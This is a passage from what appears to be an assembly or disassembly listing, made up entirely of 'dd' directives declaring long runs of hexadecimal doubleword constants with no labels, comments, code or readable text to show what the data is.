0E0C0F5E6h, 4CD4EDCDh, 60A10E49h, 7BC04533h dd 0FCE672E5h, 0C14B9D07h, 36666F6Bh, 0ACDA05E8h, 8066A738h dd 0BA1D0D0Ah, 0FCC38F00h, 7311E43Dh, 97580071h, 65D019AAh dd 8006B81h, 7EF33FB5h, 0F569B2h, 7CBA061Bh, 0D36CC053h dd 6500AFB0h, 0A18F392Ch, 24986FB3h, 44052Eh, 0D2081EE0h dd 0C9028EA6h, 96C6097Ch, 0F8FC68F5h, 5C7D00E9h, 0BD0F7B33h dd 9758AEFCh, 6439100Ch, 0F0A2FA8Eh, 2640BEA1h, 0E6039818h dd 0AB9DFFF7h, 8353B0D9h, 2D8702D1h, 0C2B6F6E3h, 0A0A93840h dd 58025000h, 0B9CA98F4h, 0C0D50035h, 4E835CBDh, 130020F9h dd 64E49F0Bh, 6616CDh, 0DA03465h, 91F8EE9Eh, 0AE07B30Eh dd 941CAA31h, 8ED89F03h, 350FB829h, 661400ABh, 0CDBC658Ah dd 6200CAEFh, 2842972Bh, 7354895h, 0B1D0F7A2h, 9C7A700Dh dd 0DBE20173h, 56ED2C01h, 4F214F9h, 0D56E3207h, 781494C6h dd 1DEB9A07h, 4700DD4Dh, 0CB3FDABEh, 0F31A0016h, 9C90FF66h dd 4002DF09h, 0D2FA6FA4h, 1520C0BCh, 6A5D07D3h, 20202667h dd 0F5436BE8h, 756D711Eh, 93811280h, 0F5C2360h, 3836A2B8h dd 0B35FF440h, 8C0D8E29h, 983F63FDh, 0E3281826h, 207B0090h dd 9976D525h, 0E211FEB3h, 0B71328Ah, 0DCF6209h, 833C1C80h dd 0B4000E56h, 9ABF7D41h, 3FE71BADh, 18BE99D2h, 0A06600F5h dd 0C9F97C46h, 710020AAh, 1D1B2E51h, 3084C3A7h, 0F4883342h dd 8D53640Ah, 2C6E0090h, 159A572Ah, 0CAF400DCh, 7E29DD3h dd 0DF221ECh, 247D5D00h, 9627C538h, 904320C1h, 7B728200h dd 0B8301409h, 78E55873h, 13F4400Ch, 0F5F4BA58h, 0DF748500h dd 0C84272D4h, 9BD7001Fh, 78227CF0h, 0D2000DF7h, 448912B9h dd 7E8D352h, 8CE1F361h, 754D50B2h, 1E48E87h, 5F117200h dd 48EFAFEEh, 6703004Fh, 8D93F4C0h, 854CDC05h, 73F67328h dd 0FB7BC21Fh, 0A12C0980h, 0F966Fh, 9A4E13C6h, 77B7914Ch dd 8047FE39h, 0AC0D139h, 2C786Bh, 0B00208BEh, 51531419h dd 8B76C37Ah, 3217F8B8h, 79001EA5h, 0C18766AEh, 0D1BA1C1Fh dd 1B0B02BCh, 908B693Ah, 0B7C6A500h, 5D004697h, 0F9E5F651h dd 1065571h, 8A4716A3h, 71D03DF7h, 0F580D06Ch, 0A71FA272h dd 8C8029D2h, 183EDF63h, 0AE8E006Eh, 2243BE1Dh, 4C183FBCh dd 0A4E89254h, 5CCA3C49h, 2DECC801h, 20F8865Bh, 9F1F13ECh dd 9E44D399h, 83C08E0Ah, 90089B91h, 38EF0E00h, 8BE581F3h dd 1766C1A6h, 6E7E8009h, 7FE5202h, 71F0C01Ch, 19460D12h dd 99101B60h, 0B6B77Fh, 0C3AA4B8h, 8DA7AEEFh, 68B45724h dd 4300EC2Ch, 63ADC6E8h, 0DBB1002Eh, 0F12CCFCh, 6B00E0CDh dd 3C31EA4Ch, 2CEBBB8h, 0A6AF856Ch, 54C08C69h, 0F89A517Eh dd 27168809h, 0BEDD0743h, 5347670h, 5CEB0E0Dh, 5D4040DDh dd 8571F6F0h, 217FE30Ch, 5892C2FEh, 170B105Ah, 0D7852C9Bh dd 0AF800012h, 0C3D30EABh, 0ECEAD4F0h, 3941B158h, 2A089BAh dd 3FFC0130h, 4E0096E6h, 565882C6h, 67400D0h, 2BF5A8E1h dd 45EA1D0Bh, 0EED63Eh, 7CD0A754h, 0A4003F6Ah, 7DADCEF1h dd 0A0136250h, 149798h, 9667FBB8h, 0DE205C57h, 0ED619A0Eh dd 64864351h, 52349021h, 5D95003Fh, 0B31B75D1h, 1E0065D2h dd 0AF09F181h, 0F693A385h, 0E50E16E2h, 8F190082h, 1E32397Fh dd 0D5EFFC00h, 5E47748Ch, 2DF12EFBh, 0B710074h, 0B589A137h dd 21FE800h, 6D8170D6h, 0F9190FA9h, 3DE061D0h, 0D3F7C28Bh dd 11937412h, 1AE41003h, 78D0F534h, 376E51h, 84C9C8F7h dd 4C268AA0h, 9ADF4600h, 3FBE5030h, 6D788Fh, 3602EF5Fh dd 64827151h, 0F2255Ch, 1E67F697h, 4C69D2B9h, 5001063h dd 0F9E90E84h, 893CBB8Dh, 8200FBADh, 3F81786Fh, 39F15B7h dd 1CCCB5BEh, 66E0DF68h, 0B10022E8h, 7208A92Eh, 48063785h dd 30001C8Dh, 0C755CC56h, 403C4ED6h, 33AC0932h, 2C268016h dd 30F1C43Ah, 4A9A0A81h, 0D47C067Ah, 0F50B2300h, 6612A490h dd 0AAC800E6h, 0AEB3140Dh, 53001C82h, 0A70FAD60h, 0D0E32Bh dd 0E4EF6FA0h, 9A180E2h, 76144400h, 0EE5B5C12h, 179500F3h dd 9C1528BDh, 0D20073A7h, 6AB2E839h, 0B44702DEh, 501F0074h dd 0CF469231h, 0E57FDF00h, 5A8781B0h, 1AF71D75h, 6A1B403Dh dd 0AAA7FCA0h, 0E4E277E2h, 80F49139h, 7A2D7604h, 1616B5E5h dd 6BB0C9h, 1AA80D67h, 60F8CDDFh, 2BC49400h, 6CE07A28h dd 56CA00ECh, 79523EF6h, 20073790h, 9B996BBAh, 24B6B1F3h dd 40907898h, 6736D6BBh, 0D2EB2F00h, 31AAAD20h, 0EA4F38E3h dd 7DFCBC00h, 366F0F8Ch, 0CD7B8900h, 0F0F9952Eh, 0D12800A3h dd 0CCC1AE9Ch, 3607C8FEh, 0FF383A87h, 40EFB7D2h, 0E623F00h dd 7759D67Bh, 56B1B0C1h, 2C87F0A9h, 706D5703h, 0F3E610F7h dd 0B708D804h, 652E0246h, 0FC85290Ch, 0F01406E1h, 0E33C3FABh dd 0D86F001Ch, 11B5EE40h, 9C7F00DCh, 4F4B84E2h, 0DA1C6A8Ah dd 3E5F70C7h, 2E0D5900h, 17FC955h, 65382B69h, 20BFFFD0h dd 870032FCh, 19AF0109h, 16824FAh, 0DCACADE1h, 315E28DFh dd 48AC075h, 0E3F79603h, 0E8AF350Eh, 1C01B731h, 8383BFB2h dd 0C0FE2954h, 0BA039BD0h, 409B298h, 18575CFDh, 1D4B3C54h dd 0C0B3D528h, 0F9727BBh, 2A3BD063h, 427980FDh, 0E8839432h dd 54FE1780h, 0CB6E00F1h, 10788182h, 95A5A817h, 496E7460h dd 9AE428ECh, 40384FE8h, 3B91B844h, 1A1318EBh, 0F0001097h dd 0BE4FFC6Eh, 35792Bh, 7EF3EFB8h, 0D760CCE7h, 6F578500h dd 0C3E6F143h, 82DC001Fh, 33F03022h, 0DD0C9E5Ch, 68BC5514h dd 5D9814B1h, 0B705E4F8h, 0D053541Ch, 5A626B04h, 0AD136100h dd 32A3B572h, 79ED1E03h, 0B2C889F8h, 0C65B7405h, 820004CBh dd 0E5DFD3E3h, 7D8AF607h, 0E69B0048h, 0FD150BCFh, 7200CD98h dd 5956EC3Bh, 850634h, 9454BC39h, 37DD6DB3h, 0B43B0124h dd 0FF68EF03h, 2574D9A8h, 0F8B6B970h, 52A10095h, 0FBF2FC60h dd 0F87F3287h, 336FBC00h, 5C202446h, 8B6600D8h, 0CF15680h dd 47047DFBh, 1062E329h, 0AAD490C0h, 0A6D30CC5h, 0B8F8D88Fh dd 0F6A77B00h, 4B3D1918h, 563B0777h, 80A37E20h, 9C4A2ED8h dd 15ACC05Ch, 2C9C2126h, 0DCE04813h, 7DE4CF58h, 6D870080h dd 0D816A43Eh, 4C019006h, 78037A51h, 59F8A158h, 8321008Dh dd 0E6DC6B6Fh, 824CCDA5h, 41961134h, 40000324h, 1FB74561h dd 0B85FDA00h, 0F74D54B2h, 0E30A5051h, 0E8520066h, 7B20446Bh dd 98B8C118h, 0F34DD21Dh, 0BBE9D7C0h, 2E68E1D4h, 77E056Ch dd 0F0EB3140h, 0ED1589DBh, 7824382Eh, 2B475300h, 9022D004h dd 0CEBD0750h, 3BD70905h, 8B66041h, 0FA7B1C79h, 423466F5h dd 0A28FB2C3h, 0F8E878E0h, 5C90B6A9h, 0FD252916h, 1F9F4043h dd 3D8390E2h, 7863167Ah, 8C74407Eh, 0A66B79Ah, 0A872CF00h dd 0D8059F4Eh, 0EF810665h, 30AD28C3h, 0B3A4BC00h, 8030E782h dd 36B00D2h, 0C7F521B5h, 510F7593h, 409B7B9Dh, 0BF76813h dd 2DD77499h, 5080D104h dd 759C7743h, 84976002h, 0C38BA7B4h, 878ED2DFh, 0B290C5BCh dd 58BB82h, 0E26CC82Bh, 56456AEh, 0DA0E5203h, 9877CB8Ch dd 38888Ah, 0CAFF1179h, 7F6AB6ABh, 0F0424900h, 8C6654D9h dd 4C6C1784h, 72280217h, 38D9DEE8h, 36C24180h, 120AE1Fh dd 849A4E4Ch, 30FA390Bh, 0B30A6B09h, 0C6CCE161h, 68408F17h dd 0DA4CE4D3h, 46D61331h, 0DB208220h, 0D09F0D2h, 2F9B2F6h dd 0F0EB8EE8h, 0D0F300F0h, 9EABC7E4h, 0C6073756h, 0B22BB7DBh dd 0A63A3881h, 0D4A7F041h, 0EB3E982Ch, 5FE43D80h, 10296497h dd 10045EAh, 250AFC81h, 68CAE8h, 0FD911855h, 0D989FAC5h dd 1C294300h, 88C6B22Ah, 94D03EBh, 451FDA5Eh, 3931201Fh dd 0F927E1C1h, 0CC7033F3h, 3C5B05C4h, 9C748Bh, 0F1294C0h dd 0AF018DD0h, 2393726Dh, 0FB4742F9h, 8CE08E57h, 267A1541h dd 815C0BACh, 857EFD3Dh, 0E0F102EEh, 0B26FC79Ch, 7F20258h dd 95F93E61h, 3088FCE8h, 504F9302h, 0E0025D06h, 2420834h dd 9784011Bh, 84F8C723h, 0CC049C00h, 91A273A9h, 8E1E00B2h dd 7AA62D80h, 923D2FDAh, 59E680F7h, 4CD2F04Ah, 535100DCh dd 0C33A3078h, 0D303EC15h, 0BFB0B722h, 36F80044h, 39D55B61h dd 0AE00BD14h, 3A1845D4h, 1E3703Eh, 38A95079h, 0F4FB6C2Fh dd 4B4F974h, 0E700EE1Eh, 0A5299C9Ah, 0B1F300CCh, 685C4EEBh dd 0FD4E5587h, 0FD3A807h, 0DC08044h, 0EFF294h, 97454FCBh dd 0EB07D942h, 3C6C8618h, 0F48E1040h, 1EFB269Fh, 0E770068h dd 90D52A87h, 0AD5ACE2Eh, 92955007h, 0C94E8470h, 197F00B7h dd 78641877h, 300546Ch, 62E981E0h, 0EE8E2007h, 1A5C0092h dd 0F94C0D73h, 4303C147h, 0FA89A8E2h, 2380213h, 0A76205BAh dd 0EBE5E080h, 3C12980Bh, 0CF078C63h, 0F5EA7419h, 154AE701h dd 30FC83h, 90202E38h, 3E45035Eh, 40030AB9h, 1151B386h dd 92A0B7EEh, 478B821h, 0DC85747Ah, 0DF34A0FEh, 45C75143h dd 97C4240Eh, 929E3020h, 0BF01D3C3h, 0C26CE186h, 530076Eh dd 0DFC026Fh, 4EF4A27Dh, 3C001C50h, 0AD33DE92h, 3009042Fh dd 0BA7086C8h, 0F8006EE4h, 8E98DAE3h, 75E0C0ADh, 16AA043Ah dd 0F2197CD6h, 562550h, 0B5E7D91Ch, 57A0007Ah, 0EE29879Bh dd 5B00D1BBh, 8B45B040h, 13C48F4Bh, 6801781h, 71EF42D0h dd 94A14D00h, 56B5271Ah, 868501FFh, 0E3746277h, 884BF689h dd 0DC5EC4C1h, 0F900E117h, 0B1838278h, 329F23h, 84F8248Eh dd 3CC47FBDh, 96F4D605h, 0AA80BE5Ah, 72DF078h, 0A9167C52h dd 9CA1F0E6h, 22795A3Ch, 0CF8FC000h, 0F90F192Ah, 486D26DBh dd 421F0B93h, 0C04B300h, 13009CEFh, 0A805141Dh, 974430h dd 0A7954F3Ah, 0B41E86C3h, 782FCC3Fh, 6DC4FB04h, 80808DD9h dd 3CEA3B9h, 1E86F76h, 6AF0E09Ch, 1F0B538Ah, 0AE2E13EEh dd 94B62038h, 0F1D3D1Ch, 73DFFD0Bh, 0CE0CC2A0h, 88032DBDh dd 0E0AB9D7Eh, 0CCC0D46Fh, 951AD906h, 88A00414h, 75E5167Eh dd 27A2F488h, 5F4DE000h, 9E0B4A69h, 148B8A3h, 0BF234520h dd 28C45D9Ah, 0D2E313C8h, 1E65898h, 284EB384h, 0EA6AEE40h dd 2BE8EC49h, 2E874842h, 6BB48073h, 921407EAh, 0B2D00E4h dd 82B0271Eh, 0CE585DC0h, 0FC12003Ch, 6587C9D2h, 7A8E00EBh dd 23B7A945h, 0D4B2710Dh, 0A1B96A1Fh, 92C257C0h, 75AFE1BDh dd 9C794843h, 6CEAE800h, 91C4DC27h, 7CAC101h, 9859EE81h dd 0F79430h, 0C9EDAD80h, 0FD731432h, 1DC57713h, 0AE9ECCC0h dd 17D326ACh, 0B2CF0F38h, 0C5B2BE0h, 0E400D8B8h, 117B7296h dd 63AA67h, 768BF034h, 285E9A19h, 6FEA80C3h, 0B92AC07Dh dd 0A10A5BE7h, 3E2DE81Ah, 1231D41Dh, 0E41E1942h, 0DFA4606Bh dd 64FB0096h, 0B8FDC02Bh, 7C9095F3h, 5DBB3E1Eh, 0DE3DAB40h dd 95E56430h, 7C331C00h, 0B81C422Ah, 8A008634h, 3AF9FEABh dd 3D250743h, 0A1AE55EBh, 0E4609357h, 0A300F4D2h, 6A98EF67h dd 0F8A9F070h, 0E9D0A076h, 6D0B0128h, 36C37BC1h, 0A8002ACDh dd 0E1877097h, 18F639h, 748098D0h, 78D522DFh, 2BC93Ah dd 0F727B571h, 4C0582A5h, 0BD0086EFh, 1DAEF356h, 6001688Fh dd 87091406h, 0E824E591h, 3CC8B1DCh, 1A19F100h, 5CA8332Fh dd 136D383Fh, 0C500BD8Eh, 0FFDB0302h, 459D00D2h, 0EC855B5Ah dd 6B05E5D1h, 4D1E2DCBh, 9A9B0Eh, 7188C010h, 0FEF1005Ch dd 1A1C509Eh, 46178DCEh, 5400ECF2h, 0A0C8A124h, 0B601625h dd 7F300E82h, 4C012A60h, 5B2CB66Dh, 2F00A9ECh, 0AEE995B8h dd 8FBA0B19h, 5881E650h, 348AD7B9h, 7F0B3438h, 80596452h dd 432F1360h, 163200C1h, 6560E592h, 0E6000686h, 0A05A76AEh dd 0B8CCE7h, 1A4CF0Ch, 0A1A9906Fh, 1A252800h, 0F4128EF1h dd 0DF4F0062h, 0D71B2160h, 5029892h, 0DBC0E618h, 9B184332h dd 4FC20BD6h, 0A880E8EBh, 736CBBDAh, 0CBE46203h, 0F87C3C91h dd 5D6FA09Eh, 1B2CBC79h, 0EE650094h, 58C906A7h, 7EDF6903h dd 0D8B7E961h, 64C0C252h, 0BCFA3053h, 503C025Ch, 0CA4E6715h dd 0CB70C294h, 0D52DF84Ch, 81A202E4h, 9E847F98h, 0EC0B20D1h dd 0C92807A6h, 0E0D9ABB0h, 0D1870065h, 635AADEEh, 0BC30E394h dd 8EA5A0F1h, 0C76E0034h, 88DD9D26h, 2098B714h, 2F54054Ch dd 0CC040215h, 0DDF66053h, 0E4800071h, 8A1FEC8Dh, 7A009DD6h dd 0CA25A587h, 92491321h, 0E12C1480h, 6000D499h, 90B6E3F5h dd 5F00DF63h, 7758C85h, 46DECBh, 0A2144348h, 6B38ABCEh dd 36DCFC00h, 0CD446F08h, 83DE0982h, 2A80616Dh, 3CD75C8Fh dd 5D77F900h, 8855155Eh, 46490050h, 0A3CA9424h, 14187EFAh dd 47E02A1Ch, 41910B1Dh, 84802F68h, 82836E53h, 0C6747903h dd 4A292h, 0B78B4180h, 895AC761h, 1CE52102h, 79A7FF9Ah dd 9243DE00h, 7C761Eh, 9735883Dh, 0FB2F454Ch, 0DDD422D9h dd 88C4545Eh, 0E700737Ch, 0E3A5223Dh, 1DE8B2D1h, 0C002F1D9h dd 37694814h, 4C056B81h, 273E0B18h, 0CF5028C0h, 9BD100F5h dd 35E1117Ah, 1801FDECh, 0F09981B5h, 34703672h, 7EE2446Fh dd 2CC81F4Bh, 0F8300192h, 1B3A2D25h, 90002F2Eh, 1916FC1Ah dd 909817F2h, 0AA5E017Ah, 2054AD37h, 950025CCh, 0DB515D47h dd 26AC1627h, 163DF4Bh, 3101298Dh, 0CCAC2038h, 15F55000h dd 2F0D5776h, 0B9670068h, 0D4557A73h, 50788134h, 33794800h dd 0A61CCEFDh, 67D600BDh, 77BA7F3Ch, 0CCF7F26Bh, 12020E0Dh dd 4A9E707Eh, 0CCE88098h, 4B549D19h, 0F100CEA3h, 32D69DEDh dd 19D88380h, 0D2073871h, 5785AED0h, 4F6F90B0h, 376500F7h dd 0C417A677h, 4C76D7E7h, 0D997C605h, 0B1842316h, 0CE0020E2h dd 1A0CE2F2h, 291C9DD5h, 7B00A39Fh, 3610EA1h, 8F31259h dd 7AB800DDh, 0C109DB1h, 4D625B00h, 0C8B5D1C6h, 28BE0FD2h dd 7D60B32Fh, 0B71637BFh, 0A53C1413h, 11A48A0h, 0B07BBD73h dd 207E019Ch, 84000A35h, 221E836Fh, 2CB36ADCh, 1E8C2A51h dd 134801F4h, 0C6249AB4h, 2A3C0061h, 0CB1C6847h, 5F9C0A90h dd 0AB4A0020h, 5C73C5EAh, 0E00031A3h, 0B9DB1EC8h, 3271C61h dd 74652059h, 7283782Eh, 9B8AA2E0h, 0B6670F16h, 0ECE6380Ch dd 0C65400CCh, 28757CD0h, 0D409EAF7h, 0CF68B1h, 0AAC546C8h dd 0C4993AB8h, 0C3704080h, 5E5A2056h, 80D1133Bh, 52AEEA48h dd 9FA827C8h, 34626C00h, 0B10F8BB5h, 801B6A0Eh, 1650BD7h dd 0F59D0791h, 50C77881h, 0F253BA11h, 50E69A00h, 98B31BD4h dd 0F1578C5h, 8526A444h dd 3500302Bh, 3457C267h, 0E0006898h, 6920C51h, 4C783C1Bh dd 7213D875h, 911B0735h, 4D1310AFh, 0E6002E6Fh, 7F0E51C4h dd 0F981E3h, 0EEC65038h, 4F824C9Dh, 0E4B452h, 0D8833E34h dd 69C1245Fh, 0B85A21B1h, 95302508h, 445F00D2h, 6DDA1FBDh dd 22988C00h, 668440C8h, 0F249472h, 70E0A8E1h, 54217F83h dd 80F8D93Bh, 8C8FF2FFh, 3632BF7h, 3B91145Ah, 0EAE3A2CDh dd 2A4F600Bh, 117C8C05h, 72FA47h, 0A6924C2Ch, 394F73E0h dd 98B1FF00h, 52D1CE83h, 55BE1394h, 0FCF0F189h, 7458EFFEh dd 101A00D0h, 2C99F4F8h, 0DA7A0098h, 58B544C2h, 3A13E7E9h dd 3040829Bh, 76FF18B1h, 0D9B76043h, 0A9349EA2h, 7BA04A03h dd 381ED90Fh, 939F9960h, 0B620E83h, 7319540h, 360C7582h dd 88C064F2h, 0FEC40316h, 138D73F1h, 94103Ch, 0A31DE1Eh dd 3B846204h, 983AADEAh, 0D882AB87h, 889F6026h, 1D0086C1h dd 1C0B3FDBh, 11181B6h, 0C0BB804Fh, 6CA624E8h, 1D123EBCh dd 17C7562h, 0C8EA9563h, 2B6021DFh, 1B361980h, 0D40719CEh dd 0F6009391h, 0FF359297h, 21E12AFh, 0B23CDFAEh, 0D068838Dh dd 0A4A99582h, 1B208E16h, 0E5AD619Dh, 3C40DE24h, 1DDDEA71h dd 0C092B7F0h, 746E8578h, 0B3E8578Bh, 429B5500h, 0E2E4B29Dh dd 0B56F58DFh, 90750C0Fh, 50520B87h, 0E7201A74h, 80979B3Dh dd 0E8CDCEEFh, 0E09C6Ah, 4FCC0A1Bh, 0AD4AAE4Bh, 0F91E7F00h dd 0C50240C0h, 79360009h, 3D607B65h, 0E709B6F6h, 0FD04EC81h dd 3CD5A880h, 0AC0EDC1Eh, 5AD3CCh, 0A1C02831h, 0DE460794h dd 50CA3EE3h, 7B6B5121h, 6EF7860Ah, 0D808081h, 0CD91AF85h dd 92B003A4h, 17080BF1h, 13B5D5E0h, 94F6A4B8h, 6821AC2Dh dd 33CB28h, 93A09672h, 0AA8DD20Eh, 328B8C1Fh, 8EFD481Ch dd 0E0318247h, 0F664039h, 7BA87E8Fh, 24EA00B0h, 0E30EF4E4h dd 9460720Ch, 0D84D4C89h, 6E9A00D9h, 6361BC3Eh, 17608789h dd 0DC198F21h, 3CE5011Ch, 0B0468EAEh, 87918020h, 0F2F1B2B3h dd 620D00DFh, 24A1B9C5h, 53074269h, 8D6E9931h, 5D128880h dd 0D234006Fh, 3966F4D7h, 0AF029846h, 0BF8D48B6h, 0F0F8A088h dd 62DBEE14h, 2FE611DEh, 3D7E18Ah, 93AB91F5h, 0C0726BD8h dd 0B86D9E07h, 0AD0010C8h, 0E7089FDh, 0EBD963ACh, 62D25C61h dd 9551E897h, 0DBCE0D00h, 0A15655F7h, 0E5E80Fh, 0ADFC09DAh dd 0FBA9B041h, 2128DE0Eh, 21478CFAh, 7DB0E4h, 69C24B43h dd 766E9C46h, 0F4D4918h, 3CC44A50h, 568EA937h, 54A0F705h dd 7D1EC94Bh, 10DAF037h, 0D1EE2EC0h, 7B467670h, 88CFF61h dd 3020C95Dh, 8AEE1600h, 0B0DFD284h, 93F439h, 0B57B4188h dd 6F99A582h, 315C7531h, 0F0E86DE5h, 0A790020h, 585D9B40h dd 0A20C5C76h, 1814F8F5h, 9AA81DE3h, 497142ABh, 809135D9h dd 0AEE8195Fh, 0B1B02340h, 0CB0F9511h, 0D063AEF3h, 0D003EE08h dd 9E929DBAh, 6607E8D6h, 4DC50CB9h, 22F851CDh, 2979014h dd 9A780088h, 0AEEC3176h, 379F487h, 7CEABD51h, 0C0D8F91Bh dd 0B1E98E7h, 0D2C0B6C6h, 78CA9F88h, 0AFB53965h, 60B9F63Fh dd 0E4BEB00h, 8C63580Dh, 1FCDF100h, 46B5C79Eh, 8B435077h dd 0DF75025Eh, 0ACC455EDh, 30542C0h, 6025A200h, 54CBF5D9h dd 174CF872h, 158329h, 0E8F49FAEh, 5B00EBFAh, 3FA752DEh dd 0CBFBA1h, 6E64666h, 0B9075668h, 54E5D40Eh, 3B2AE07Fh dd 7BC193Dh, 0A6E99E55h, 0A4326082h, 21008D45h, 247C2693h dd 7AB5A12h, 3147F451h, 5027970Dh, 6E7A3D42h, 753F037Ch dd 3B649FABh, 5BC62840h, 0C0E9A8h, 6C1F4525h, 0EB74DB5Ch dd 1713800h, 515A5B05h, 0A39729Bh, 0AB457E16h, 4523E80h dd 11E2E6C3h, 88B31000h, 29D8ED7Fh, 1AE10178h, 7EF73F46h dd 0E3F2E161h, 0BC3845E8h, 29957531h, 9B10C29Ch, 3E804C78h dd 608588DDh, 4570EC40h, 116AD5D6h, 9C11D992h, 0F4519041h dd 4B3D5682h, 14087605h, 2788447Fh, 42518546h, 0C4ED3EEAh dd 533842Ch, 0EC4E2972h, 5C02E044h, 0C7225028h, 292260EFh dd 12709835h, 0E3163B00h, 0F4C3B380h, 0DC9000CAh, 0B5202F31h dd 0A3E21789h, 0C90CDE00h, 2E7A5633h, 0FF2800A8h, 316760E8h dd 0D0FCFCFAh, 0C500BD73h, 8C0DD85Fh, 395D7652h, 9F80CD34h dd 3F2B3EE1h, 7E00269Ah, 0DBC7FF0Eh, 0C0A1E9h, 54B4FDA5h dd 2643088h, 0E5921E00h, 2FB5DA25h, 976F0A4Ah, 2EA2D65h dd 32C6AA4Ch, 33AD160h, 0A662F8A8h, 984F8424h, 0DF900100h dd 0E344788h, 891F24Dh, 0C067BEA0h, 450E932Fh, 0A341D70Dh dd 0FBFA16D2h, 0E85D9844h, 68D56077h, 70B62321h, 6869F007h dd 80A80C89h, 725C0EBDh, 4D00010Bh, 30C75390h, 78D1C2E3h dd 0EA2E00EFh, 32DD2163h, 0E907D54Eh, 0A5133A5Fh, 35A71610h dd 20010799h, 0B0AC7E50h, 0FEB04338h, 0E49F8301h, 0D58E8A6Dh dd 7C74D8h, 5C6A330Ah, 39E9705Ah, 56516700h, 0EA3D04DFh dd 31C60036h, 0AE32EDC4h, 33042A16h, 72916445h, 0D0E389C3h dd 43A507h, 148D4C0Bh, 6FD1C520h, 0B086E139h, 316008C3h dd 944201D7h, 7E9040D9h, 92AADC4Bh, 0AD385D00h, 8D43C398h dd 0D659005Fh, 632532CBh, 1A00CE2Dh, 874B29AFh, 0F61B5DF1h dd 11F700A2h, 683C9E41h, 0DA281CB3h, 0F40E9C14h, 0C0427D85h dd 3A651F06h, 0EED0001Eh, 0C31DE8DCh, 2A3E515Eh, 4AD3802Bh dd 0E20FF524h, 95A800BDh, 3C8413F4h, 501FD533h, 9C41587h dd 3480CE2Ch, 0DEA0E1h, 8C9F2A9Eh, 41716702h, 4C35AB01h dd 0B2B40A2Eh, 24AB70h, 8A1E2973h, 353DE6D8h, 80273900h dd 8D3E2151h, 0BBEB001Ch, 0D3CDF4FBh, 78000AA0h, 0B1BD0D6Bh dd 37A63E2h, 44E1918Ah, 26BB14E0h, 0B8DA29B0h, 0A0045B78h dd 0B43618D3h, 9EFE3CC0h, 12790198h, 0E749687Bh, 8EC1FB3Fh dd 0ADD8E003h, 0CB2F7001h, 0AC9F9CAh, 35BEE0EBh, 3FB93C15h dd 0A9386400h, 24AB60AEh, 0C966132Eh, 3D528500h, 0B97F5Ah dd 2036714Ah, 0A25E78F4h, 17B88600h, 9E34FDC6h, 75600EEAh dd 9AE0E12Eh, 8F117D97h, 641D1A1Ch, 0C83BC200h, 0E0EAD4F4h dd 0B075724Ch, 0D7EC31F6h, 0DCF129D8h, 850135B2h, 7361780Eh dd 2F0B8F5h, 0CE9022h, 0C2F910D2h, 76267BCDh, 2EACA530h dd 5E1AAFh, 4E812A59h, 0FA194786h, 83422B01h, 0D528835h dd 336C9E0h, 0AA77E9A7h, 0F09FC38Fh, 4FBA7E96h, 7A45C612h dd 197D300h, 0C1BEFFh, 7D78456h, 9F8217F1h, 30901100h dd 3F5E9910h, 4A1F2678h, 349800F8h, 6A6EEBE1h, 82A6DC38h dd 323F8512h, 0EF1C40D7h, 408F005Dh, 25D24FFAh, 5F00D61Ch dd 1904BFA2h, 0B46D17h, 0F6E9952Eh, 18A13549h, 570E677Bh dd 2F947D04h, 2CA800B2h, 1329ACF6h, 93943DDh, 74B06B1Ch dd 19002AD4h, 0C9E06E12h, 3C42FFh, 2220ACF4h, 0D60D32F8h dd 409A5507h, 0C9D1E514h, 79A42F8Bh, 0DC013FCCh, 10BD64B6h dd 0C414EC6Dh, 0F3952000h, 0A697B84Fh, 835348F5h, 0F88A3100h dd 0CEBEC72Ch, 7D017F00h, 386164E9h, 0F2D738A6h, 46724700h dd 11AAE2C5h, 0EAE66F01h, 41D86C52h, 21AB1C8h, 10DABCCAh dd 80A3AB18h, 8D909D2Ah, 7B005B6Ah, 380521C8h, 1C5149Ch dd 0EDD7A470h, 0D1DE26BEh, 1FAFEC44h, 72202207h, 0D9E945h dd 4B336CE6h, 17F479h, 88D805FEh, 0E50C16A3h, 6D0140F2h dd 872A0B78h, 48C86A3Fh, 2E06000Eh, 8117F2E6h, 663FE154h dd 752687E3h, 0BC106488h dd 3738341h, 2F9CB930h, 0A3C0FF5Dh, 0BC90D9CFh, 0ECB41303h dd 98B3E07Bh, 2A04D6h, 0F98D0FF4h, 48F6357Dh, 0A54C0900h dd 0BF4116A2h, 0D38E1EFBh, 244440F1h, 0E65E1E9Ch, 55DC5F00h dd 5C820492h, 0E3B1C63h, 3A0C40E7h, 83054979h, 584D8A00h dd 52EF6B99h, 0C1D90FFFh, 666008D3h, 0F7FEB93Ch, 480F6AF2h dd 0DC27459Ch, 88EB9DC0h, 6EA858h, 253740E9h, 8A8061F7h dd 0B26D0D00h, 0DAB727C2h, 75FDE8E3h, 0BBE900D4h, 41D55B02h dd 0F400FAB9h, 97A65E7Fh, 54D9F6h, 682C79ADh, 0CD9A070Fh dd 0C3705118h, 13431038h, 0B18C2h, 2A79B8D8h, 563D9C6Eh dd 0A644001Bh, 45D281D9h, 5C9A89h, 87D7A58Fh, 0A0276542h dd 0BF0010B0h, 4C54C3EAh, 0B8CD4E91h, 0C13538A9h, 8114CC00h dd 94B4FC61h, 960F7400h, 550AD2C4h, 0EDC3FA6h, 0B67DD800h dd 0EA5A724Dh, 94678C01h, 575C6639h, 0D80F5C7h, 0B6E45EEh dd 7F99A258h, 27872F00h, 0E3030A51h, 0F10F1592h, 2480BD4Fh dd 21502Bh, 2CAB1E5h, 9AA54249h, 0AF7A5200h, 0A94F38EEh dd 86D601F8h, 6793F150h, 0EC5FD969h, 2C14491Ah, 0E8B894h dd 1EA55C42h, 0C9DE72h, 9CFA8F7h, 0B20C5CCh, 828BC200h dd 0D92CBB07h, 444D007Ah, 9E94F2DAh, 14007D0Dh, 60578130h dd 0BD5837h, 0C9A71BEBh, 0B521C62Dh, 9114B3Ah, 80BFCB76h dd 4EBB0ED0h, 99987682h, 0CA3E0038h, 0D816B4C3h, 4C6ACF39h dd 4CE005F0h, 8CC06DF4h, 25F7BDCh, 26BF349Bh, 0C8807520h dd 0FB9C2AFFh, 33EE700Fh, 6FBAE48Ah, 5073ECC1h, 4548430h dd 4B779DFCh, 3029C73Dh, 0B99BF36Ah, 97CFB03h, 7B54E1EBh dd 705C002Ah, 0FD65A48h, 35008C3Ah, 1A0799A3h, 9BE511h dd 0D83DCC14h, 0A05752C1h, 0ED0A4300h, 5E775433h, 0C5EB00BEh dd 446C17C9h, 2E1415AFh, 70C0F929h, 98B83F00h, 0EC842D81h dd 3AB0E4h, 0D66B83DBh, 0DE2FA330h, 0C8A0BBF4h, 580057D0h dd 0DBE19847h, 555D70h, 